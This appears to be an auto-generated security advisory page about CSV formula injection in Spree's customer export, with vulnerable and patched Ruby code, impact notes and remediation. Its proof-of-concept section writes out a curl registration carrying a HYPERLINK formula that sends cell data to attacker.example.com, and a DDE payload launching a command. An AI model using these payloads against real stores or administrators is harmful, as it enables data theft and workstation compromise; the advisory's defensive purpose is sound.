CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-XF4V-W5X5-PV79

GHSA-XF4V-W5X5-PV79: CSV Formula Injection in Spree Customer Export

Alon Barad
Alon Barad
Software Engineer

Jun 4, 2026·6 min read·8 visits

Executive Summary (TL;DR)

Unauthenticated users can inject malicious spreadsheet formulas into customer profile fields in Spree. When an administrator exports customer data to CSV and opens it in Microsoft Excel or LibreOffice, the formulas can execute arbitrary commands or silently exfiltrate sensitive data.

A CSV Formula Injection vulnerability (CWE-1236) exists in the Spree headless eCommerce platform within the customer export functionality. An unauthenticated attacker can register a customer profile containing malicious formula sequences in fields like the first name or last name. When an administrator exports the customer data to a CSV file and opens it in a spreadsheet application, the spreadsheet engine can interpret and execute these formulas, potentially leading to remote command execution on the administrator's workstation or out-of-band data exfiltration.

Vulnerability Overview

Spree is an open-source, headless e-commerce framework written in Ruby on Rails. A security vulnerability has been identified in Spree's customer export utility, which generates comma-separated values (CSV) files containing user registration data. This flaw permits unauthenticated actors to register customer profiles containing malicious payloads that run inside spreadsheet applications like Microsoft Excel or LibreOffice Calc.

This vulnerability is classified as CWE-1236: Improper Neutralization of Formula Elements in a CSV File, also known as CSV Injection. The attack surface is exposed via the public registration endpoint, which takes raw text data for fields such as the first name, last name, and shipping address, and commits it directly to the database.

The vulnerability is unique because it spans security boundaries. The injection occurs on the e-commerce server, but the execution happens on the local environment of the administrator processing the export. While the web application itself remains undamaged, the administrative workstation is at high risk of compromise, including command execution and local data leakage.

Root Cause Analysis

The underlying root cause is the lack of normalization of user-provided data fields inside the serialization process. Specifically, the CustomerPresenter class in spree/core/app/presenters/spree/csv/customer_presenter.rb constructs an array containing raw attributes of the Customer object, such as first_name, last_name, and address lines.

When CustomerPresenter#call is executed during a background customer export task, the attributes are formatted verbatim into an array and appended to the final output file stream. Although the standard Ruby CSV library handles structural escaping (such as wrapping values containing commas inside double quotes), it does not check or alter the leading characters of each cell.

Spreadsheet software interprets cells starting with =, +, -, @, \t, or \r as formulas rather than raw text. By default, these application engines attempt to parse and evaluate the formulas to compute cell values dynamically. Because Spree does not prepend safe escape characters to these fields prior to export, the client-side spreadsheet engine executes the injected expressions as trusted code.

Code Analysis

The vulnerable implementation of CustomerPresenter#call receives attributes directly from the database and constructs a raw array. This array represents the flat structure of the exported CSV row. There is no filter applied to sanitize or escape leading characters.

# Vulnerable customer_presenter.rb
def call
  csv = [
    customer.first_name,
    customer.last_name,
    customer.email,
    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
    customer.address&.company,
    customer.address&.address1,
    # ... other address fields ...
    customer.phone,
    customer.amount_spent_in(Spree::Store.current.default_currency),
    customer.completed_orders.count,
  ]
  csv += metafields_for_csv(customer)
  csv
end

The corresponding patch introduces a dedicated helper method named sanitize_csv that sanitizes all exported values. It loops through the constructed array using .map and prefixes a single quote character (') to any string that begins with a known formula trigger.

# Patched customer_presenter.rb
def call
  raw_csv = [
    customer.first_name,
    customer.last_name,
    customer.email,
    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
    customer.address&.company,
    customer.address&.address1,
    # ... other fields ...
  ].map { |field| sanitize_csv(field) }
  raw_csv += metafields_for_csv(customer).map { |field| sanitize_csv(field) }
  raw_csv
end
 
private
 
def sanitize_csv(field)
  return field unless field.is_a?(String)
  if field.start_with?('=', '+', '-', '@', "\t", "\r")
    "'#{field}"
  else
    field
  end
end

This remediation successfully prevents execution under standard parsing engines. However, standard string checks like .start_with? can fail to identify bypass payloads that place newline characters (\n) ahead of the formula trigger if the parser treats them leniently. Developers should clean the output elements of all non-printable and control characters before performing checks.

Exploitation & Proof-of-Concept

Exploitation of this vulnerability requires two phases: input injection by an unauthenticated attacker and spreadsheet execution by an authenticated administrator. To begin, the attacker registers a new account on the public store portal, passing a crafted formula string in the first_name field.

curl -X POST https://store.example.com/api/v3/store/customers \
  -H "Content-Type: application/json" \
  -d '{
    "email": "malicious@attacker.example.com",
    "password": "SecurePass123",
    "first_name": "=HYPERLINK(\"http://attacker.example.com/log?exfil=\"&C2,\"Confirm\")",
    "last_name": "User"
  }'

When the export utility generates the CSV, the string is saved to the disk. Once the administrator downloads the CSV and opens it in Microsoft Excel, the program automatically parses =HYPERLINK as a functional formula. When the administrator clicks the link or allows dynamic evaluation, the application triggers an HTTP GET request containing adjacent cell values (such as the target email in column C) back to the attacker-controlled logging server.

On legacy or specifically configured spreadsheet engines, attackers can leverage the Dynamic Data Exchange (DDE) protocol. This protocol allows execution of local operating system commands. An attacker can use payloads like =cmd|' /C calc'!A1 to spawn a subprocess, bypassing traditional host-based execution controls and potentially compromising the administrative workstation.

Impact Assessment & Threat Modeling

The localized severity of the vulnerability is low for the web application platform itself, but critical for the administrative user's environment. The Spree application database and server memory are not corrupted during the export, meaning the main application maintains integrity and availability.

However, because administrative personnel regularly process customer data from high-privilege endpoints, they are prime targets for social engineering and client-side exploits. Successful compromise of an administrator's machine via command execution allows an attacker to extract administrative API keys, browser cookies, and local credentials stored on the workstation.

Additionally, silent exfiltration is highly realistic. Attackers do not need to execute arbitrary commands to achieve high-impact outcomes. They can exfiltrate sensitive customer lists, purchase patterns, physical addresses, and order histories through basic HYPERLINK callbacks, causing significant data exposure and privacy violations.

Remediation & Defensive Guidance

Remediation requires immediate upgrades of the spree library to a patched release. Ensure that your application is utilizing 5.2.8, 5.3.6, or 5.4.3 depending on your current major release channel. Run the following command to update Spree via Bundler:

bundle update spree

If upgrading immediately is not feasible, administrators can apply a localized monkey-patch to the CustomerPresenter class in an initializer file. This patch should replicate the sanitize_csv behavior, ensuring that all string values beginning with =, +, -, @, \t, or \r are prepended with a single quote character.

Furthermore, security teams should configure endpoint protection tools and office productivity software on staff workstations to block Dynamic Data Exchange (DDE) execution requests. This prevents Excel and similar programs from invoking system shells (powershell.exe, cmd.exe) when opening files generated by external platforms.

Technical Appendix

CVSS Score
5.1/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Affected Systems

Spree Commerce headless platform (RubyGems package 'spree')

Affected Versions Detail

Product
Affected Versions
Fixed Version
spree
Spree Commerce
>= 5.2.0, < 5.2.85.2.8
spree
Spree Commerce
>= 5.3.0, < 5.3.65.3.6
spree
Spree Commerce
>= 5.4.0, < 5.4.35.4.3
AttributeDetail
CWE IDCWE-1236
Attack VectorNetwork (Unauthenticated)
CVSS v4.0 Score5.1 (Medium)
Exploit StatusProof-of-Concept
ImpactWorkstation Compromise / Data Leakage
Affected ComponentSpree::Csv::CustomerPresenter

MITRE ATT&CK Mapping

T1204.002User Execution: Malicious File
Execution
T1218System Binary Proxy Execution
Execution
T1048Exfiltration Over Alternative Protocol
Exfiltration
CWE-1236
Improper Neutralization of Formula Elements in a CSV File

The software saves user-controlled data into a CSV format without neutralizing characters that can be interpreted as formula triggers.

Vulnerability Timeline

GHSA-XF4V-W5X5-PV79 published detailing Spree CSV Formula Injection
2026-06-04
Patches integrated and released across active branches (v5.2.8, v5.3.6, v5.4.3)
2026-06-04

References & Sources

  • [1]Spree v5.2.8 Release Notes
  • [2]Spree v5.3.6 Release Notes
  • [3]Spree v5.4.3 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•39 minutes ago•CVE-2026-73843
9.6

CVE-2026-73843: Critical Missing Authentication and Privilege Escalation in OpenChoreo Cluster Gateway

Prior to versions 1.0.2 and 1.1.2, OpenChoreo's cluster gateway combined public agent traffic and administrative control-plane APIs on a single TCP port (8443). Exposing this port allowed external unauthenticated actors to access sensitive proxy and execution interfaces.

Alon Barad
Alon Barad
3 views•7 min read
•about 2 hours ago•CVE-2026-73841
8.8

CVE-2026-73841: Broken Object Level Authorization (BOLA) in OpenChoreo Container Exec and Wirelogs Endpoints

An Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization (BOLA) vulnerability in OpenChoreo allows authenticated users with project-level permissions to bypass tenant boundaries. By manipulating client-controlled query parameters, an attacker can execute arbitrary commands inside Kubernetes containers or view sensitive communication streams of resources belonging to other, highly privileged projects within the same namespace.

Alon Barad
Alon Barad
2 views•7 min read
•about 3 hours ago•CVE-2026-73840
5.3

CVE-2026-73840: Unauthenticated Webhook Signature Bypass and Git-Provider Confusion in OpenChoreo

An authentication bypass and logical confusion vulnerability exists in the OpenChoreo Kubernetes developer platform webhook ingestion system. By exploiting a combination of git-provider spoofing, a missing signature validation requirement on Bitbucket webhooks, and a lack of source-host mapping checks, unauthenticated network attackers can trigger unauthorized builds on arbitrary repositories.

Amit Schendel
Amit Schendel
3 views•5 min read
•about 4 hours ago•CVE-2026-73667
8.8

CVE-2026-73667: Remote Code Execution via OS Command Injection in OpenChoreo Workflow Plane

An authenticated remote code execution vulnerability exists in the OpenChoreo developer platform's Workflow Plane templates. The flaw occurs due to server-side string interpolation of workflow parameters into inline shell scripts and insecure shell parameter expansion. This allows low-privileged attackers to execute arbitrary shell commands inside privileged containers, leading to potential host privilege escalation.

Amit Schendel
Amit Schendel
3 views•7 min read
•about 5 hours ago•CVE-2026-84366
7.4

CVE-2026-84366: Plaintext AWS Credential Exposure in Scrapy S3DownloadHandler

A security vulnerability in Scrapy's Amazon S3 download handler allows unencrypted transmission of sensitive AWS credentials and session tokens over plaintext HTTP. Prior to version 2.17.0, the handler defaulted to HTTP instead of HTTPS when translating s3:// URIs into standard S3 API requests, unless explicitly configured otherwise. This allows network eavesdroppers to intercept credentials and perform active Man-in-the-Middle (MITM) attacks.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 6 hours ago•CVE-2026-62674
9.0

CVE-2026-62674: Shared Agent Bundle Overwrite Leads to Authenticated Runner Remote Code Execution in omnigent

A critical validation flaw in the backend of the omnigent framework prior to version 0.3.0 allows authenticated users to overwrite the global shared agent bundle, leading to remote code execution on the runner process through malicious stdio MCP server configurations.

Amit Schendel
Amit Schendel
3 views•7 min read